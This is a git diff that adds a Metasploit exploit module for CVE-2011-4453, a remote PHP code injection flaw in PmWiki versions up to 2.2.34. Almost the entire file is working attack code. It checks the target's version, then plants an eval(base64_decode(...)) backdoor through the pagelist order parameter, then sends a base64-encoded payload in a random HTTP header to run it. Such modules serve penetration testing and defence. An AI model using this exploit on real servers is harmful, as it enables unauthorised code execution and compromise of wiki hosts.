diff --git a/modules/exploits/multi/http/pmwiki_pagelist.rb b/modules/exploits/multi/http/pmwiki_pagelist.rb new file mode 100644 index 0000000000..d905340a87 --- /dev/null +++ b/modules/exploits/multi/http/pmwiki_pagelist.rb @@ -0,0 +1,105 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info={}) + super(update_info(info, + 'Name' => 'PmWiki <= 2.2.34 (pagelist) Remote PHP Code Injection Exploit', + 'Description' => %q{ + This module exploits an arbitrary command execution vulnerability + in PmWiki from 2.0.0 to 2.2.34. The vulnerable function is + inside /scripts/pagelist.php. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'EgiX', # Vulnerability discovery and exploit + 'TecR0c' # Metasploit Module + ], + 'References' => + [ + ['CVE', '2011-4453'], + ['BID', '50776'], + ['OSVDB', '77261'], + ['URL', 'http://www.exploit-db.com/exploits/18149/'], + ['URL', 'http://www.pmwiki.org/wiki/PITS/01271'] + ], + 'Privileged' => false, + 'Payload' => + { + 'Keys' => ['php'], + 'Space' => 4000, + 'DisableNops' => true, + }, + 'Platform' => ['php'], + 'Arch' => ARCH_PHP, + 'Targets' => [['Automatic',{}]], + 'DisclosureDate' => 'Nov 09 2011', + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('URI',[true, "The path to the pmwiki installation", "/"]), + ],self.class) + end + + def check + uri = datastore['URI'] + uri += (datastore['URI'][-1, 1] == "/") ? 'pmwiki.php?n=PmWiki.Version' : '/pmwiki.php?n=PmWiki.Version' + + res = send_request_raw( + { + 'uri' => uri + }, 25) + + if (res and res.body =~ /pmwiki-2.[0.00-2.34]/) + return Exploit::CheckCode::Vulnerable + end + return Exploit::CheckCode::Safe + end + + def exploit + p = Rex::Text.encode_base64(payload.encoded) + header = rand_text_alpha_upper(3) + header_append = rand_text_alpha_upper(4) + + uri = datastore['URI'] + uri += (datastore['URI'][-1, 1] == "/") ? 'pmwiki.php' : '/pmwiki.php' + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => uri, + 'vars_post' => + { + 'action' => 'edit', + 'post' => 'save', + 'n' => "#{header}.#{header_append}", + 'text' => "(:pagelist order=']);error_reporting(0);eval(base64_decode($_SERVER[HTTP_#{header}]));die;#:)", + } + }, 25) + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => uri, + 'headers' => + { + header => p, + 'Connection' => 'Close', + }, + 'vars_post' => + { + 'n' => "#{header}.#{header_append}", + } + }, 25) + end +end